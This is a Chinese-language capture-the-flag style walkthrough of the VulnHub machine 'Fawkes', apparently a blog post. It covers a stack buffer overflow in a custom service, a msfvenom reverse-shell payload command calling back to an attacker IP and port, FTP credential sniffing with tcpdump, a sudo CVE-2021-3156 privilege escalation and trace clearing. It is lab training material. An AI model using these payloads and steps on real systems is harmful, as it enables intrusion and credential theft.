vulnhub靶场【哈利波特】三部曲之Fawkes

embedded/2024/12/27 0:29:05/

前言

这次的靶机与前面不同,这里涉及到缓冲区溢出等
这个靶机也让我知道薄弱点了,缓冲溢出这方面之前接触少,所以刚拿到这个靶机打开后,人蒙了,在网上查阅好多资料,也只是浅学一下,这里主要也是跟着其他师傅的步骤进行操作,在实践中去理解。
参考链接:https://www.cnblogs.com/Fab1an/p/18364950

靶机虚拟机环境为virtualbox,网卡为桥接模式

靶机:fawkes

攻击:kali

主机发现

使用arp-scan -l扫描,在同一网卡下

在这里插入图片描述

信息收集

端口发现

使用nmap简单扫描一下端口

在这里插入图片描述

可以看到两个SSH服务端口,只是使用的版本不同,还有一个9898端口,不知道是什么服务

网站目录扫描

一般网站可能都是目录型,这里直接进行扫描

在这里插入图片描述

很是罕见的什么都没有扫到,访问网站进行查看

在这里插入图片描述

啧,电影海报啊,这里下载图片,看有无隐藏信息

在这里插入图片描述

测试9898端口

虽是接口有返回信息等,但是毫无用处

在这里插入图片描述

测试21端口

测试使用anonymous匿名用户尝试登录,空密码登录成功,发现有文件,下载到kali

在这里插入图片描述

查看文件类型,是可执行文件

在这里插入图片描述

信息点小结

  1. 80端口只有一张图片,并且无其他内容
  2. SSH服务有两个端口,但是没有任何的用户名和密码
  3. FTP匿名登录成功,获取到可执行文件

测试可执行文件

根据上面的信息小结,可以知道,现在可用的也许只有SSH爆破和这个下载的可执行文件

给予执行权限

在这里插入图片描述

可以知道靶机上的9898端口的作用,应该就是启动了这个服务,为详细准确,再使用nc测试一遍

在这里插入图片描述

对该执行文件进行调试

关闭kali的alsr功能

alsr是内存地址随机化的安全技术,如若不关闭,会导致内存地址一直变化,无法确定关键点(缓存溢出的位置)

cd /proc/sys/kernel
echo randomize_va_space

在这里插入图片描述

使用工具进行调试

可以使用edb-debugger安装即可,或使用gdb

输入命令edb打开图形化界面进行调试

首先把可执行文件加入到调试器中,然后选择attch

在这里插入图片描述

当然这里的attch是通过进程进行的测试,所以需要输入关键字server来过滤,只要那个服务的开启。直接导入文件的话,是不需要的

在这里插入图片描述

初步调试,确定是否可行,在用户输入的话,也必须开始调试才能进行下一步。那么交互的话,用户可输入,就使劲输入,看程序是否崩溃或者怎么样。

平常在数据库中,不就是有的是有长度限制吗。

在这里插入图片描述

尝试输入很多数值字符来判断,这里最终测试400个A时,出现错误,地址0x41414141不存在

在这里插入图片描述

缓冲区溢出

可以看到,这里被覆盖了

在这里插入图片描述

EIP寄存器,是执行下一跳指令的内存地址,就是可以指定跳转到那里

ESP寄存器,是存储数据的,具体指令

那么使用msf生成400无规律排列的字符,方便寻找到在那里溢出

msf-pattern_create -l 400

在这里插入图片描述

记住这个地址,然后使用msf去寻找刚刚生成的那个序列排在哪里

msf-pattern_offset -l 400 -q 0x64413764

在这里插入图片描述

可以确定偏移量为112,可以生成112个A,4个B,和多个C

因为之前报错也是可以看到的,为四个字符16进制组成

可以看到,这里的报错是B的十六进制

在这里插入图片描述

从下面也可以清晰的看出EIP的指定内存地址,以及ESP的指令

在这里插入图片描述

下面就需要构造使得EIP指向ESP的内存地址,而ESP的指令该怎么能够获得反弹shell

首先要知道ESP的内存地址,这样就可以自己加上这个内存地址,防止溢出

在这里插入图片描述

选择可执行的内存地址,因为这是跳转到指令,而且如果不能执行,修改了也无作用

在这里插入图片描述

点击find,记下jmp esp的内存地址,0x08049d55

在这里插入图片描述

jmp esp是一条汇编指令。jmp是 “jump” 的缩写,意思是跳转。esp是栈指针寄存器(Extended Stack Pointer)。这条指令的作用是使程序的执行流程跳转到esp寄存器所指向的内存地址。

制造反弹shell

已知偏移量为112ESP内存地址为0x08049d55,那么只需要编造16进制的payload进行反弹shell,这里的靶机为小端序,内存地址需要颠倒\x55\x9d\x04\x08

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.16 LPORT=8888 -b "\x00" -f python

在这里插入图片描述

把上面生成的写入到python文件中,但是这里只是生成ESP所要执行的指令,还需要和前面的溢出配合,不然无法正确的使EIP跳转正确

在这里插入图片描述

payload中加了之前并没有的'\x90'*32是为了防止恶意代码离的太近

在这里插入图片描述

然后这时候,运行可执行文件,然后另起终端开启监听8888端口,与上面的反弹shell端口一致

然后执行python脚本

在本机上运行的服务进行而此时,成功

在这里插入图片描述

那么修改payload为靶机地址和端口,然后测试

在这里插入图片描述

反弹成功,获取一个shell

在这里插入图片描述

提权

测试,靶机没有python,无法使用python创建交互式的终端,测试使用/bash/bash -i也不行,

最终是/bash/sh -i成功,在当前目录下,发现可能是密码的文本HarrYp0tter@Hogwarts123

在这里插入图片描述

尝试使用ssh测试,默认端口的SSH服务连接不上,测试2222端口的

在这里插入图片描述

使用find查找具有SUID权限的,有sudo并且可以执行任意

在这里插入图片描述

查看后,发现root没有密码,直接sudo su -切换到root,然后呢,查看root目录下的文件

在这里插入图片描述

这里说,“我们发现有人试图经过FTP的错误去登录,你应该去分析流量然后指出用户”

这里测试靶机有无监听流量的工具,如wireshark、tcpdump

查看网卡信息

在这里插入图片描述

使用tcpdump监听

获取到用户名neville,密码bL!Bsg3k

tcpdump -i eth0 port 21

在这里插入图片描述

使用这个用户名和密码登录,注意,这里登录的是22端口的SSH服务

在这里插入图片描述

寻找SUID,发现找到sudo,但是不能使用

在这里插入图片描述

收集信息

在这里插入图片描述

使用searchsploit搜索,发现提权中的方法与可以使用的,不匹配

漏洞提权

在百度搜索,确实有,项目地址https://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py

漏洞介绍https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit

在这里插入图片描述

测试,靶机有nc命令,也有wget命令

py文件传输到靶机,使用wget也行

在这里插入图片描述

最终提权成功

在这里插入图片描述

清除痕迹

在这里插入图片描述

总结

整个靶机的重点在于缓冲区溢出

  1. 要知道什么是缓冲区溢出,然后就是会找到溢出位置
  2. 理解两个寄存器EIPESP
  3. 要会编写一个简单的python来直接进行发送信息
  4. sudo -l不可用,以及其他不能提权时,想到内核漏洞以及命令版本漏洞

使用工具

edb-debugger进行文件调测,找到缓冲溢出的位置

msf-pattern_create -l 400生成400个无规律排列字符

msf-apttern_offset -l 400 -q 0x64413764找到刚刚生成字符的位置,这里是十六进制进行查找

which定位命令路径

lsb_release -a查看系统

sudo --version查看命令版本


http://www.ppmy.cn/embedded/143235.html

相关文章

AWTK-WIDGET-WEB-VIEW 实现笔记 (2) - Windows

在 Windows 平台上的实现,相对比较顺利,将一个窗口嵌入到另外一个窗口是比较容易的事情。 1. 创建窗口 这里有点需要注意: 父窗口的大小变化时,子窗口也要跟着变化,否则 webview 显示不出来。创建时窗口的大小先设置…

Rust : 生成日历管理markdown文件的小工具

需求: 拟生成以下markdown管理小工具,这也是我日常工作日程表。 可以输入任意时间段,运行后就可以生成以上的markdown文件。 一、toml [package] name "rust-workfile" version "0.1.0" edition "2021"[d…

ElementPlus 组件中的 el-tree 属性

文章目录 样式模板 el-tree 组件跳转&#xff1a; 点击跳转 样式 模板 html <!-- 左侧树形列表 --> <a-col :span"4"><a-card class"card-height"><template #title><a-input-searchstyle"width: 90%"placeholder…

基于Matlab地形和环境因素的森林火灾蔓延模拟与可视化研究

森林火灾的蔓延受多种因素的影响&#xff0c;包括地形、气候条件、植被类型等。为了更好地理解火灾蔓延的动态过程&#xff0c;本文提出了一种基于地形和环境参数的森林火灾蔓延模拟方法。通过综合考虑海拔高度、湿度、温度和风速等因素&#xff0c;我们使用 MATLAB 编写了一种…

Scala 的match case 匹配元组

object test2 {//match case 匹配元组def main(args: Array[String]): Unit {// val d1 (1,2,3)val d1 (1,2,3,4) // val d1 (1,2,3,4,5)val d: Any d1 //d的类型是Anyd match {case (x,y,z) > println(s"这是一个有三个元素的元组&#xff0c;它的第二个元…

ElasticSearch 与向量数据库的结合实践:突破亿级大表查询瓶颈20241204

&#x1f4a1; ElasticSearch 与向量数据库的结合实践&#xff1a;突破亿级大表查询瓶颈 &#x1f4da; 引言 随着业务规模的不断扩大&#xff0c;传统关系型数据库在处理 亿级大表 时&#xff0c;性能瓶颈愈加凸显。关键词检索、模糊查询、多条件筛选等需求逐步升级&#xff…

深度学习Python基础(2)

二 数据处理 一般来说PyTorch中深度学习训练的流程是这样的&#xff1a; 1. 创建Dateset 2. Dataset传递给DataLoader 3. DataLoader迭代产生训练数据提供给模型 对应的一般都会有这三部分代码 # 创建Dateset(可以自定义) dataset face_dataset # Dataset部分自定义过的…

开发者如何使用GCC提升开发效率Opencv操作

看此篇前请先阅读 https://blog.csdn.net/qq_20330595/article/details/144134160?spm=1001.2014.3001.5502 https://blog.csdn.net/qq_20330595/article/details/144134160?spm=1001.2014.3001.5502 https://blog.csdn.net/qq_20330595/article/details/144216351?spm=1001…